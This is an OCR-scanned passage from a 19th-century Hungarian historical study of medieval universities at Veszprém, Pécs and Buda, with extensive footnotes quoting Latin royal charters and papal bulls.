elhagyására kényszeritett ^^). Toldynak azon állításához is szó fér,
hogy Yinshemius a görög nyelvből, Grynaeus pedig a bölcsészetből
tartott előadásokat. Toldy ezen állítását ugyanis egyedül Faber Ta-
más azon nyilatkozatával támogathatni, hogy hazánkból kiűzetvén
Grynaeus Baselben a bölcsészet tanára, Yinshemius pedig Witten-
bergben a görög nyelv tanára lett. De minthogy tudjuk, hogy Gry-
naeus mielőtt hazánkba jött volna, Bécsben (az egyetemen??) a görög
nyelvet tanította, és 1524-ben a heidelbergi, 1532-ben a baseli egye-
temen is ugyancsak a görög nyelv tanára volt, nem fogjuk feltét-
lenül biztosnak tartani a módszert, mely szerint Toldy az egyes
tantárgyakat Grynaeus és Yinshemius között fölosztotta. Hogyha
azonkívül még Joannes Lángot is kitörüljük a budai egyetemi
tanárok sorából — Láng II. Lajos király udvaránál énekmester és
tanító, nem pedig, mint Wallaszky és Told}' hitték, egj'etemi tanár
volt, — mindössze Grynaeus és Yinshemius marad hátra, kikről
némileg nagyobb valószínűséggel állíthatnók, hogy a budai egye-
temen tanári minőségben működtek, még pedig Grynaeus ugyan-
csak rövid ideig, minthogy 1520. aprílisében még a bécsi egyetemen
45
találjuk, honnan valószínűleg csak az 1521-iki pestis vagy az egye-
temnek 1520. nov. havában Luther tanai ellen elfoglalt ellenséges
magatartása űzte el, 1524-ban pedig már megint Heidelbergben
tanárkodott^^). De ezen valószínűség is csakhamar elenyészik, ha
közelebbről vizsgáljuk a forrásokat, melyeknek alapján Grynaeust
és Vinshemiust a budai egyetem tanárai közé sorolták. Hazai újabb
íróinktól eltekintve, Grynaeus valamennyi külföldi biographusa
(Vinshemiusról alig tudunk valamit) nem azt mondja, hogy Gry-
naeus Bécsből, hol a görög nyelvet adta elő, hazánkl)a jővén egye-
temi tanár lett, hanem azt, hogy Budán egy iskola vezetését vállalta
magára, mígnem 1523. táján lutheránus érzelmei miatt a domini-
kánusok kérésére börtönbe vetették, honnan csak egynehány mág-
nás közvetítése folytán szabadult ki és menekülhetett Németor-
szágba. Egyedüli régi és megközelítőleg egykorú forrásunk, melyre
a XVI. század vége felé Faber Tamás alapítja a Grynfeus és
Vinshemiusra vonatkozó adatait, a II. Lajos korában élt «vén
emberek)) elbeszélése is, nem azt mondja, hogy Grynaeus és
Vinshemius az Universitas vagy Academia Budensis-en vagy a
Stúdium Budense-n tanárkodtak, hanem azt, hogy «Schol<e Buden-
sis» praBÍectusai, még csak nem is tanárai, voltak, és ki áll jót azért,
hogy ezen « budai iskolai alatt épen a budai egyetemet kell érte-
nünk, melyről az utolsó hiteles adat Mátyás király uralkodásának
utolsó éveiből való"? Senki; és nem hiszem, hogy bárki hypercriti-
cával fog bennünket vádolhatni, ha azon nézetünknek adunk kife-
jezést, hogy a budai egyetem is úgy mint Mátyás királynak egy
másik kedvencz főtanodája, a pozsonyi, alapítójának halálát nem
élte túl sokáig. Utolsó adatunk, mely fenállásáról tanúskodni lát-
szik, 1493-ból való, azon időből, mikor II. Ulászló még törődött a
tudományokkal; hogy Ulászló későbbi éveiben, nejének halála
(1506) után, és II. Lajos egyáltalában nem voltak olyan fejedelmek,
kiktől az oly költséges intézet ^^) fentartását el lehetett volna várni,
alig szükséges felemlítenem^^). Legfeljebb annyit állíthatunk^ hogy
az egykor oly fényes budai főtanoda nem pusztult el egészen, hanem
mint a dömések magániskolája tovább is fentartotta magát.
1525-ben ezen intézet egy pár növendékének II. Lajos király
alamizsnát adott, dehogy ezen «schola beat® virginis Mariam » nem
lehetett azonos azon intézettel, melynek Grynaeus tanára volt, már
abból is kitűnik, hogy a dömések kolostorában felállított intézet
46
tanárai (Paulinus, Csoda Miklós, Ilkusch, Niger, Rorbeck ós talán
Tobriacber is) egytől egyig mind egybázi férfiúk volt, nem pedig
világi emberek és lutberanusok mint Grynaeus^^), és bogy a kérdé-
ses bittudományi intézetnek egész szervezeténél fogva aligba volt
szüksége külön görög nyelvtanárra ^^).
Hazánk közéjDkori egyetemei közül tebát mindössze csak
a pécsi bírt annyi életerővel, bogy a mostoba viszonyok daczára
egészen az újkor beköszöntéig fentartbatta magát, és ennek is már
az újkor küszöbén meg kellett szűnni, Csakbogy akkortájt az álta-
lános műveltség sokkal inkább el volt már terjedve bazánkban,
sem bogy az ország bosszabb időn át egyetem nélkül maradba-
tott volna; mikor már a pécsi egyetem is megszűnt, Oláb Miklós
l^rimás 1555. táján a nagyszombati egyetem alajDJát, vetette meg
mely most már bárom évszázadnál tovább bazánk közművelő-
désének legnevezetesebb tényezőinek egyike.
JEGYZETEK.
^) Vass József (Hazai és külföldi iskolázás az Ar^^áclkorszak alatt. 1862.
11.47) azt mouclja, liogy "Ósrégiségére mutat székhelye mint hajdani közép-
j)ontja a magyarok bejövetele előtt már keresztyén Pannóniának", Toldyt félre
értve (A magyar nemzeti irodalom története. 3. kiad. 1862. I. p. 69): mennek
(az egyetemnek I széke Veszprém volt, régi középj)ontja a magyarok bejö-
vetele előtt már keresztyén Pannoniának."
^1 "Xoticie pateat uuiversornm. qnod in Vesprimiensi civitate atempore
quo in Hungária (fides) catholica, Dei dono, liberalium arciimi studia jier qne
mandata maximé divina manifestins declarantur, jirout Parisius in Francia,
doctrine preeminencia docenciiim et copiosa discentium fi'(equentia tocinis
regni Himgarie Ecelesüs fáma florida crebrescente celebrítate hactenus cor-
ruscavit, et ciütus iusticie ad rcgui inra conservanda inibi obtintiit princi-
patum. ..." lg}- adja eg;^-es ■ kisebb hibáktól eltekintve az idézett okmánjTiak
azon helyét Tass (i. m. p. 48 1, Katona után (Hist. Crit. VIII. in praef.i, ki a
veszprémi kájitalan könp-tárából közli. Máskéjjen olvassa Fejér (Cod. Dipl.
V. II. p. 347) a mennyiben «quo in Hiingaria (fides coepitj Catholicaw-t és
•(discentinm frequencia (pre totius) Regni Hungarie»)-t ad. Még helyesebben
Schönvisner István (Collectanea Historica Universitatis Regiae Scientiamm
Hungaricae czimü kéziratában, G. 139, egyetemi könyvtáiimkban) a Jides szó
helyett vigent-te\ tölti ki a hézagot és az egész mondat értelmét következő-
képen írja körül : «Inter omnes Hungáriáé scholas, in qiübns catholica id
est generállá liberahum artium stiidia, maximé theologica et im'idica, ad nor-
mám Parisini in Francia studii generális docebantui-, scholam J^cclesiae
Vesprimiensis celeberrimam semper fuisse ob docentimn praestantiam et
discentium frequentiam. piincipemque tenuisse locum etiam post complures
adversitates quas in civitate saepius per hostes exagitata perpeti debuit.» — Az
imént idézett passus után következőkéj) folytatódik az okmány: « civitate exa-
gitata sepius in lucem fulgidam lemersit continue ["Pemersit haec ecclesia sed?]),
nune malignitate persecutionum eiusdem Ecclesie faciente pene radieitus
faerat (redactai in cinerem et fa villám. Cuius nos destruccioni et vastacioni
miserande compassione condescendere cupientes, eiusque (reflorescentiam)
industria omni assequi ex animo aspirautes, ut ibidem stuchum quod hac-
tenus floruerat reformetur, et cultus iusticie diviueque laudis organa que
48
suspensa fuerant restaurentur, porcioneni tributi, qiiam in Fuk Comes Sj'me-
giensis peroipere consveverat usque modo, eicleiu Vesprimiensi Ecclesie in
siie desolacionis reineclinm et niine de nostre gi'acie plenitudine diixiiniis
conferenduni perpetuo irrefragabiliter possidenduin .... Dátum .... anno
Domini MCCLXX. Sexto. XIV. Kalend. Decem. Indiccione IV. Kegni autem
uostri anno V.w — Iverékgyártó (A mi veltség fejlődése Magj-arországban. I. 1880.
p. 484) következükéiben adja fa Katona szövegje alapján -és így nagyrészt
helytelenül) e fontos okmánj- értelmét: ((László, Isten kegj-elméböl Mag\-ar-
ország stb. királya. Tudja ineg_^ mindenki, hogy Veszprém városban azon
időtől fogva, hogy Magyarországban a kath. vallás ['? ?] virágzik, a szabad
mesterségek tanulmányai, melyek által főleg az isteni jjarancsok világo-
sabban magyaráztatuak, valamint Páiisban Francziaorszátjban, a tauitók
kitűnő tudományával s a tanuhjk nagy seregével egész ^Magyarország egy-
házai között növekedő hírrel fénylettek és a törvény-tudománj' az ország
jogai fentartására ott főrangot nyert, a város gyakran sanyargattatván —
az egyház üldözőinek gonoszsága által földig elhamvasztatott (az
egyetem) [? ?]. Mi a pusztítást megsajnálván és mindenkép helyreállítására
törekedvén, hogy ott az eddig virágzott tanulmáuj' [helyesebben : egyetem]
megujíttassék és az igazságnak mívelése és az istentiszteletnek felfüggesztett
közegei helyreállíttassanak, a foki (siófoki) vám i'észét, melyet eddig a somo-
gyi főispán szokott szedni, a veszprémi egyház romlásának orvoslására
adományozzuk.)) Helyesebben talán így lehetne fordítani az okmány elejét:
« Tudj a meg mindenki, miszerint azon idő óta, hogj' Magyarországon a sza-
bad mesterségek virágoznak, . . . tanítóinak kitűnő tudománya és tanulóinak
nsigy száma miatt Veszprém városának virágzó híre egész Magyarország
egyházai között mindig növekedő dicsőséggel ragyogott . . . Eddig a vesz-
prémi egj'ház minden csapás után, melyeket az ellenségektől sokat sanyarga-
tott városban eltűrnie kellett, megint fényesen ragyogott, most azonban
ugyanazon egyház üldözőinek gonoszsága által csaknem földig elhamvasz-
tatott. »
"'') Schönvisner értekezéséből átvette Csery a pesti egyetem történetét
tárgyaló kézirati munkájába (az egyetemi könyvtárban G. 103). Erede-
tije a veszprémi kájjtalan könyvtársában, honnan 1832-ben Fejér adta ki. —
Kerékgyártó (A míveltség fejlődése Magyarországban. I. 1880. p. 484| így for-
, dítja a kérdéses jjassust : ((László, Magyarország stb. királya. Tudja meg min-
denki, hogy a veszprémi egyház üldözőinek szemtelen pártoskodása által
fülszerelési eszközeiben 50000 gírányi kárt vallott, a melyek közé röviden
számlálva tartoztak stb. 3000 gírát érő egyházi könyvek, Pál mester jog-
tanár[??], az egyház nagyprépostjának őseitől öröklött 3000 gírányi ékszerein
felül 1000 gírát érő könyvei, és azon kívül még az egj'házi és polgári jog 15
káptalanbeli tanárainak [? ?], mindkét jog tudorainak könyvei, és azon 1000(>
gíránál nagyobb összegű egj'begyüjtött készpénz, luelyet a tanárok [? ?] a szent
széknél, császároknál és más fejedelmeknél végzett köA-etségeikért elődeink
alatt díj és fizetmény fejében érdemeltek.)) — Egy 1277-ben kelt okmányá-
ban IV. László (Fejérnél X, vii. p. 692| a veszprémi egyház könyveit ismét
49
említi: « libris omnium scienciamni, ut fertnr, qiübus ima conclavis sacristie
carnera plena erat. «
*) Wenzel (A. magyar magánjog rendszere. Pest. 1872. I. p. 19): «Pál
veszprémi nagj^prépost, ki mint tlominus legmn a XIII. századnak második
felében a veszprémi egyetemet vezette.* Hasonlókép Fejérpataky (i. ru.
p. 44), csakhogy Wenzel utóbbi Idfejezése helyett azt írja,, hogj^ «a vesz-
prémi egyetem élén állott."
^) V. ö. IV. Lászlónak az l!276-diki tűzvész által okozott kár leírását
tartalmazó okmányának következő szavait : «... de capitulo doctoriim imis iitri-
usqne et rebus eorandem in stipendiis et saláriis per obsequia varia et diversa
presertim in perferendis ad sédem Apostolicam, Imperatores et ad alios
mimdi principes et terrarmn dominos legationibiis impensa ex parte partis
avormn et procuratoiiim nostrormu felicium recordacionum conqnisitis que
coarvate (!) summám decem millimn marcarum excedebant», és ugyanazon
királyiinknak már említett adományozó levelét (Wenzelnél : Árpádkori új
okmánytár. IX. p. 440) : «... Ciim venerabüis et peritus vir Magister Paulus,
Wesj)rimiensis Prepositus, Legmn Doctor, qui nostro Eegno, nobis et Corone
a síüs progenitoribus obseqmosus extitit et fideHs, ac nostris et Poegni Nostri
in servieiis varios labores soUercius jjei-tulit et erumpnas ; eciam maria trans-
fretando et in Románam Cmiam frequcneius nostris in obsequiis transeundo
ac una presertim vice suis propriis sumptibus expensis cercius sibi commissa
semper inviolate in rore fidei sedulis obsequiis comprobavitw stb.
•*) Az okmány (Fejérnél, Cod. Dipl. V. ii. p. 347 és föntebb a 2-ik
jegyzetben) 1276. nov. 18-ikáról kelt. — Felemlítem még végre, hogy Fraknói
(A hazai és külföldi iskolázás a XVI. században, p. 138), mikor azt mondja,
hogy ((Pécsett már az Ai-pádok alatt létezett jeles főiskola, melyben kivált
a jogtudomány birt nagyszámú tanárok- és hallgatókkal. De a XlII-ik
század végén elenyészett", alkahnasint összetéveszti a veszprémi eg;^'etemet
a pécsivel.
') ((Volentes animariun pericula, Ecclesiarimi quoque gi-avamina et
multiplices laesiones quae ob defectum scientiae, maximé iuris canonici,
magistra rerum experientia docente, proveniunt, evitare, praesenti constitu-
tione sanciinus, ut in qualibet MetropoHtana Ecclesia nostrae iurischctioni
subiecta, constituatiu- aliquis in dicto iure peritus, in ceteris verő Ecclesiis
CathedraHbus Magister idoneus in grammatica seu logica facultate, qui
Clericos eiusdem Ecelesiae et scholares pauperes gratis ac alios etiam instruat
iuxta posse, et sic demimi legendi et proficiendi opj)ortiuiitate caj^tata fru-
ctiun. in Dei ecclesia aiíeiTe valeant oiiportunum ; quibus a Praelato et Ca-
l^itulo, seu maiori et saniori parte Capitiűi, iuxta formain Concilii Generahs
assmnptis cuilibet eonmi unius praebendae proventus integri, sive alias
salarimn competens a Praelato et Capitulo seu maiori parte ipsius commti-
niter assignentur, quos tamdiu percij)iat quamdiu perstiterit in docendo-
Publicata II. Idus Juhi Anno M.CCC.IX.» (Ex Synodo Budensi ; Fejérnéb
VIILv. p. 49.)
®) KoUernél, Hist. Eccl. Quinqu. III. p. 96 — 99. Az okmány, mely több
ÁSBX, Egyetemeink a középkorban. 4
50
Libával Wallaszkynál fConsp. p. 83 — 86) és Fejérnél fHist. Acad., Docum. 1 — 3)
is meg\-au, «Yiterbii, Kai. Sept. Pontificatiis uostri an. V. >» kelt és főrészé-
ben így hangzik : « Ciun . . sicut niii^er pro parte carissimi in Christo filii
nostri Ludovici Regis Hungarie illustris, fűit propositum in consistorio
coi'am nobis, ij^se Rex non solum ad iitilitatem et i^rosiieritatem liuiusmodi
reipublice et incolariTm Eegni sni Ungarie, sed etiam aliarum i^ai-tiuiii
vicinarum landabiliter intendens in civitate Quinqne-Ecclesiensi, in regno
predicto consistente, taniquani insigniori et magis ad hoc accomoda et
idonea, plurimiun desideret fieri et ordinari per sedeni Apostolicam stúdium
generálé in qualibet licita facultate . . ut ibidem íides ipsa dilatetur,
erudiautnr simplices . . . Nos . . . dicti regis in hac parte supplicationibus
inclinati. de fratnim nostroruni consilio statuiiuus, ac etiam ordinamus,
iit in dicta civitate Quinque-Ecelesiensi de cetero sit studiiuu generálé,
ibique {olv. illudque) pei-petuis temporíbus inibi vigeat : tam in Im-ií<
Canonici et Civilis. quam alia qualibet licita preterquam in Theologia facul-
tate et quod legentes et studentes ibidem omnibus privilegiis, libertatibus et
immnnitatibus, concessis doctoríbus legentibus et stiidentibus commoranti-
bus in studio generáli, gandeant et utantur. quodque üli qui processu tem-
pornni bravium fuerint in illa facultate in qua studuerint, assecuti, sibique
docendi licentiam, ut alios erudire valeant, ac doctoratus seu magisterii ho-
uorein petierint elargiii, per doctores seu doctorem et magistros seu magi-
stratum illius facultatis, in qua examinatio fuerit facienda, Episcopo Quin-
que-Ecelesiensi, qui pro tempore fuerit, vei Ecclesia Quinque-Ecelesiensi
pastore carente, Yicario seu Officiali dilectorum filioruni capituli ipsius
ecclesie presententur, idein quoque Episcopus aut Vicax-ius seu OfficiaUs
doctoribus et magistris in eadem facultate actu inibi regentibus couvocatis,
illos in his, que cii'ca promovendos ad doctoratus seu magisterii honorem
requiruntur, per se vei per aliiuii, iuxta modum et consuetudinem que super
talibus in generalibus studiis obsem'antur examinare studeat diligenter, eis-
que. si ad hoc sufficientes et idonei reperti fuerint, huiusmodi licentiam
tribuat, et doctoratus seu magisterii conferat honorem. Ilii verő, qui in eodem
studio dicte civitatis examinati et approbati fuerint, ac docendi licentiam
et honorem huiusmodi obtinxieriut, ut est dictum, ex tunc absque exami-
natione et approbatione alia regeiidi et docendi tam in civitate prethcta,
quam singulis ahis generalibus studiis, in quibus voluerint regere, doeere,
statutis consuetxidinibus quibuscunque contraiüs Ajjostolica vei quacimque
firmitate alia vallatis nequaquam obstantibus, pleuam et liberam habeant
fácultatem. Volumus autem quod Magistris et Doctoribus, qui in huiusmodi
legent studio, per Regem Ungarie jíro tempore existentem in competenti-
bus stipendiis provideatur : alioquin preseutes Httere nullius sint roboris,
et momenti . . » Ezen okmányból külömben eléggé kitűnik, hogy téved Fraknoi
(A hazai és külföldi iskolázás, p. 31), midőn az egyetem fogahnát a mind a
négy karral ellátott főiskolákra szorítván meg, a pécsi egj'etemet, mely «a
hittudományi és i'igv látszik az orvosi szakot is nélkülözte », nem egyetemnek,
hanem csak főiskolának mondja. — Sajátságos Wallaszky tévedése (Teut.
51
p. 51): (iLudoviciis I. . . stiuliorum hoc (lomiciliiim (a pécsi egyetemet) anno
aerae vulgáris M.CCC.LX. funilavit, cui quadriemiio post luuoceutius VI-
Pontifex Stiitlü Generális inra contulit, fuuclatisque rite tabiilis, quae lio-
dienum extare clicuutur (Inter alios Auonymus in Re litteraria Hungáriáé
Cassoviae impr. an. 1735. iu 15. p. 6., ]Micliael 'Rota.iides Y. C. P7-olegomen.
Line áment orum, H'ist. Litíerariae Hiing. j). 41 litt. s.. Paullus Fabri Com-
ment. de Augusta Bihlioth. Budensi, Lipsiae. 1756. p. 7) roboravit.» A Con-
spectiisbau azonljau már tudta Wallaszky, liogy nem VI. Incze. hanem
V. Orbán erősítette meg a jíécsi eg^'etemet.
^) KoUemél, i. m. III. p. 99 — 101 : "Urbánus Episcoi^us Ser\-us Servonun
Dei. Carissimo in Christo íilio LutTovieo Regi Ungarie lUustri Salutem et Aposto-
licam beuedictionem. . . . Cum itaque nuper tu ad utilitatem hiiiusnaodi nec non
prosiieritatem incolanmi regni tui Ungarie et aliarum partium vieinarmu lau-
dabiliter intendens Civitatem Quinque-Ecclesiensem tamquam insigniorem aliis
Civitatibus dicti Eegni et magis accomodam et ydoneam, \\i in ea vigeat stú-
dium generálé in qualibet licita facultate duxeris ordinandam. ac omnibus
et singulis Doctoribus Magistris et Scolai'ibus eonimque familiaribus ad
Civitatem predictam se causa studii hiüusmodi se transferentibus et ibidem
morantibus nonnuUa certa privilegia duxeris liberaliter concedenda, pi'out
in patentibus litteris tuis inde confeetis tuoque magnó sigillo impendenti
nnmitis plenius continetur . . . Cupientes igitiu', ut tam incole quam alii
predicti in eadem Civitate causa huiusmodi studii moratuii utilius prospe-
rentiu", volumus ac serenitatem tiiam, quam votis nostris conformem spe-
ramus et credimus in hac parte, rogamus et hortamiu' attente, quatenus
omnia et singula privilegia huiusmodi per te, ut preniittitur, concessa rati-
fices et confirmes et si expediens fuerit, alia de novo Doctoribus Magistris
et Scolaribus huiusmodi regia liberalitate concedas, illaque tam concessa,
quam concedenda studeas observare et facias ab aliis, prout honori tuo con-
venit, inviolabiliter observari. . . . Dat. Viterbii, 4. Xon. Sei)tembris, Pontifi-
catus nostri Anno \.n
^°) Lásd a 9-ik jegyzetben közlött okmányt. — Eosszúl fogta fel a
pápai bullában említett » privilegia* értelmét Laky (Művelődésünk tényezői
Zsigmond alatt. p. 44), mikor Y. Orbán pápa föltételéül azt említi, "hogy
a tanárok és tantűók számára megígért díjazás s kiváltságok megadassanak
s az idő szerinti királyok által is föntartassanakx, és ehhez még a követ-
kező jegyzetet csatolja: "Hihetőleg a tanrűók részére megígért díjazás alatt
ápoldákat, melyek szállással és élelemmel látták el a szükséget szenvedőket,
kell értenünk."
^^) Corpus luris Huugaricí, I. p. 214. Michaelis Szilágyi de Horogszeg
Gubernatoris Piegni Ungariae Decretum anno Domini 1458 editiun. Articulus
10: dltem quod nullus omnino hominum de Sacerdotibus, Scholaribus. Xobi-
libus neque telonia, neque decímas (prout vetus Regni requirit consuetudo)
exigere debeat.))
^'^) Rollernél, i. m. III. p. 129 — 131 : «Gregorius Episcopiis Servus
Sei*vormu Dei. Dilecto íilio Galvano Bethini de Bononia Cía'Í Bononiensi
52
Decretoruni Doctori Sahit. et apostolicani betiedictionem. — Litterarum
scientia, vite ac monuii honestas aliaque probitatis etiam virtutum menta,
Buper quibiis apud nos fide dignoruni commendarís testiinonio, nos induennt,
ut petitionibus tuis favorabiliter annuamns. Exliibita siquideiu nobis nnj^ei*
tna petitio continebat, quod olim Ven. fráter noster Wilhelnius EpiscopuB
Quinqnecclesien. diligenter attendens, quod tu, qui in studio Quiuquecclesien.
Ecclesie multa grata servitia impenderas et impendebas ac impendere poteras
et alias in dandis consiliis et pro legendo in dicto studio eras quam plurimmn
utilis et etiam opportunus, tibi provisionem annuam trecentarum marclia-
rum argenti, seu sexcentortim flór. auri percij)iendarQ et habendam per te
in et super bonis ad mensam episcopalem Quinquecclesien. spectantibus
tibique in certis terminis persolvendam constituit et etiam deputavit. Et
quod uiliilominus villám de Yrucli Quinquecclesiensis dioecesis et domuni
quam in Civitate Quinqueeclesiensi inbabitas confrontatam ab una cum
iuribus dilecti filü loliannis Cammerarii, et ab alia cum liospitio dilecti
Filü Pesch . . Cerdouis Quinquecclesiensis et ab alia partibus cum hospitio
dilecti filü Stepbani Arcliidiaconi de Tunna (Tolna) in eadem ecclesia ad
mensam predictam pleno iure spectantes cum omni temporale iurisdictione
ac fructibus decimarum dicte Ville, qui ut asseris, summám septuaginta
flór. auri non excedunt annuatim, et omnibus aliis iuribus et pertiuentiis suis
tibi buiusmodi iura Canonica legendo [legenti ?] in dicto studio ac tuis bere-
dibus et successoribus imperpetuum de dilectorum fiKorum Capituli Eccle-
sie Quinquecclesiensis consilio et assensu concessit et donavit, si tamen ad
hoc Eomani Pontificis accederet auctoritas et consensus, prout in quibusdam
patentibus litteris dictorum Einscopi et Capituli sigillis munitis plenius
continetur. Quare nobis hmniliter supplicasti, ut constitutioni, assignationi,
donationi predictis robus apostolice finnitatis addicere [adiicere ?] de benigni-
tate apostolica dignaremm* .... Nos igitm' intendentes te, pro quo etiam dicti
Episcopus et capitulum nobis super hoc liumiliter supplicarunt, preniissormn
intuitu favore prosequi gratioso buiusmodi ac tuis sup;űicationibus inclinati
constitutionem, deputationem, concessiouem et donationem j^redictas, ac
omnia alia inde rite secuta, quamdiu vixeris,' valere volentes, illa quoad
\rixeris, ut prefertur, auctoritate apostolica approbamus et confirmamus et
presentis scripti patrocinio communimus .... Dat. apiid Villám novain
Avinion. Dioe. 2 Kai. Oct. Pontif. nostri Anno II. » — Menujdi-e pártolta kü-
lömben Vilmos jaüspök Betliinit, kitűnik XI. Gergely páj)áuak következő leve-
léből is (Theiuernél : Vetera Monumenta Historica Hiuigariam Sacram illu-
strantia. Eomae 1860. II. p. 108) : <(Gregorius Episcopus [XI] etc. Venerabili
fratri Wilbelmo Episcopo Quinqueeclesiensi salutem etc. . . . Sane uujper sin-
ceritatis tuae litteras paterna sicuti deciiit aífectione recepimus, in quibiís
inter cetera supplicabas, ut dilectum filium Galvanum de Bononia Decre-
torimi doctorem compatrem tuum baberemus commendatimi, quodque te
diligere, sicut felicis recordationis Urbánus Papa V praedecessor noster düe-
xerat, dignaremur. Verum circumsjíectionem tuam scire volumus, quod te
sincere düigimus ac te nunc braccliiis caritatis amplectimur, tuum iu domine
53
desiderautes profectum, et ad illa <xuae tibi grata főre cogiioscemus apertos
liabebinnis oculos et cor in-omptuin, praefatumqiie Galvaniim ob contem-
j)latiouem trii et propter sua grandia uierita quibtis oinuipoteus Doiuinus
eum iusignivit, gerimus in visceribus caritatis, siciit filium praedilectum
liabebimus favorabiliter comnieudatum .... Datniii apud Villám uovam
Avinioneusis dioecesis YII. Id. Septembris. Pontifieatus nostri auuo primo
[1371. 7. sept.])>.
*^l KoUeruél, i. m. III. p. 178 — 180: ((GregoriusEj^iscopus Servus Ser-
voriun Dei. Dilectis filiis imiversis Doctoribus Magistris et Scolaribus studii
Quinqnecclesiensis Sahitem et AjDostolicam benedictiouem .... Nos vestris
supplicationibiis inclinati Universitati vestre tenoré presentium iudulgemus,
nt vos et qnilibet vestrum usque ad qiiinquennium a data presentium eompu-
taudum Qninquecclesiensi studio litterarum insistendo fructus redditus et
proventns vestrorum beneficionun Ecclesiasticorum, que in quibusvis Eccle-
siis sive locis obtinetis, et infra dictiim qninqnenniiim vos et vestrum singulos
obtinere continget, cimi ea integíitate cotidianis distributionibus dumtaxat
exceptis, libere percipere valeatis, cum qua illos perciperetis, si in eisdem Eccle-
siis i^ersonaliíer residentiam faceretis, et ad residendum iuteriiu in Ecclesüs
ipsis minimé teneamini, nec ad id a quoquam inviti coartari possitis . . . Dat.
Aviuiou. XVII. Kai. Febr. Pontif. nostii anno VI.)) — Ugyanazon napon Ger-
gely pápa meghagyta uEpiscopo Pata viensi et dilectis filiis Abbati Monasterii
S. Benedicti Wai-adiensis et Caucellario Ecclesie Quinquecelesiensis)>, hogy
őrködjenek az imént közlött okmányban adott kedvezmények lelkiismeretes
keresztülvitele felett (Kollernél III. p. 181). — Lányi (Egyháztört. I. p. 541) úgy
látszik egyedül az e jegyzet A"égén olvasható okmány alapján azt is mondja,
hogj' «Az egyetem tanárait Alsáni Bálint püspök kánoniakkal és egyéb javak-
kal tűnte té ki.)) Hogy Balázs püspök épen ellenkezőleg az egj^etem által jog-
talanul lefoglalt püspöki jószágokat visszaszerezni iparkodott, kitűnik XI. Ger-
gely pápának 1376. jan. lij-ikáu kelt bullájából (Kollernél III. p. 182—184),
melyben Balázs püsjaök kérelmére az esztergomi érseket, a veszprémi iiüsj)üköt
és a chircadorí apátot birói jogokkal felruházza, mivel (inonntüli Archiej)iscopi,
Episcopi, aliique Ecclesianun jjrelati et elerici, ac ecclesiastice persone tam
reügiose quam seculares, nec non Duces, Márchiones, Comites, Barones, Milites
Nobiles et Laici, communia Civitatum, Universitatum, Oppidorum, Castro-
i'um. Villarum et aliorum locorum et alie siugulares persone Civitatum et
Dioec. et aliarum j^artium diversanuii occuparimt, et occuj)ari fecerunt
castra, villás et alia lóca, terras, domus, possessiones, iura et iurisdietiones,
nec non fructus, census, redditus, et proventus, et nonnuUa alia bona mo-
billá et immobilia spiritualia et temporalia ad mensam suam episcopalem
speetantia et ea detinent iudebite occupata seu ea detinentibus j^restant
consilium, auxihum vei favorem, nonnulli etiain Civitatiun, Dioecesum et
predictarmn . . . eidem Episcoj)o super jiredictis castris, villis, et locis aliis
. , . . . multiplices molestias et iniurias inferunt et iacturas ...» — Ugyancsak
Lányi (i. h.) a pécsi egyetem történetében többek között felhozza azt
is, hogy ((Miklósi Imre reguni főesperes a szabad művészetek mestere egy-
54
házi jogban tai)usított tiidománya miatt, Bálint jiüspök kérésére XI. Ger-
gelytől a pécsi káptalanban leendő legelső ürültségre kijelöltetett (Fejér, Cod.
Dipl. IX. V. 144. l.).» Csakhogy a Fejér által közölt és Kolleniél is (III. p.
185) előforduló oklevélből minden kétséget kizárólag kitűnik, hogj^ a pápa
ezen kedvezménye semmi összeköttetésben sem áU a pécsi egyetemmel, és
hogy Imre főesperesnek tudománya az egyházi jogban korántsem volt oly
nagy, mint azt Lányi képzelte: <(Gi-egoriiis . . . Dilecto filio Emerico Xicolai
Archidiacon. de Kegun. in Ecclesia Qiiinqueecclesieu. Magistro in artibus
sahitem et apostolicam benedictionem . . . Volentes . . . tibi, qui etiam iit
asseritiir, in inre Canonico provectus existis, et pro quo Ven. fráter noster
Valentiniis, Episcopus Qninqiieeclesiensis, asserens te dilectum consilarium
snum főre, nobis siiper hoc humiliter supplicavit stb.n
^*) Az okmány (Kollernél, III. j). 380 — 383) főrésze így szól :
«. . Tuis itaque in hac parte suppHcationibns incHnati fraternitati tue reser-
vandi hac vice dumtaxat donationi tue auctoritate nostra tue Quinqiieccle-
sien. et Collegiatai'um S. Johannis de Castro Quinquecclesien. et S. Petri
de Posiga tue Quinquecclesien. Dioecesis Ecelesiaiiim Preposituras etiamsi
ipsa Quinquecclesien. Ecclesia in eadem maior post Pontificalem et alie
Prepositiu'e prefate in aliis Ecclesiis predictis priucipales et cm-ate dignita-
tés existant et ad eas quis per electionein assunii consueverit, singulas
videlicet ipsarum pro siugulis Doctoribi^s Jiiris Cauonici vei Civilis pro tem-
pore in studio Quinquecclesien. legen^ibus, quos ad hoc duxeris eligendos,
etiamsi quilicet ipsorum Doctorum unum vei duo aliud seu aha beueficiiim
seu beueficia ecclesiasticiun vei ecclesiastica cxan eisdem Preposituris comj)a-
tibilia obtineat, conferendas videlicet singulas preposituras predictas, ciuu illas
quovis modo, postquam illas niinc obtinentium vacare contigerit, singulis do-
etoribiis eisdem cum omnibus itu-ibus et pertinentiis suis . . . Voluxaus auteiu,
quod de nominibus Doctorum ipsorum, quibus preposituras predictas con-
feres, ut prefertur, et de diebiis collationum huiiismodi Cameram Apostolicam,
seu Collectorem fructuum et proventuum eideiu Camere debitorum in illispar-
tibus deputatum certificare prociu-es.» A mint ez okmányból kitűnik, téved
Toldy, mikor (i. m. I. p. 150) azt állítja, hogy a pápa megengedte, «hogy az
egj'házi vagy polgári jogok tanárainak egysztr-egíjszer három prépost ságot en-
gedményezhessenek.)! KoUer is (III. p. 333)helyesen azt mondja, hogy a pápa
arra hatalmazta fel a pécsi püspököt, hogy «ipse singidas, postquam vacave-
rint, singulis Doctoribus, quos ad hoc elegisset, etiam unum vei duo Beneficia
cuiu Praepositura compatibilia habentibus libere et efíicaciter Apostolica
auctoritate conferre possit.» De téved Szalay József is, mikor azt mondja
(A magyar nemzet története II. 1880. p. 337) hogy <(az egyházjog tanára a
pécsi, a közjog tanára a pozsegai prépostság jövedelmeit hvizták.» — Toldy (i.m.
I. p. 150) és utána Lányi (i. m. I. p. 541), Fraknói (A hazai és külföldi isko-
lázás a XVI. században, p. 138) és Laky (Művelődésünk tényezői Zsigmond
alatt. p. 44) minden habozás nélkül IX. Bonifáczénak (1389 — 1404) mondják
ezen felhatalmazást, bár KoUer, ki a kérdéses okmányt egy vatikáni for-
mularéból közölte, kinyilatkoztatta |i. m. p. 333. 334), hogy az eredetiben
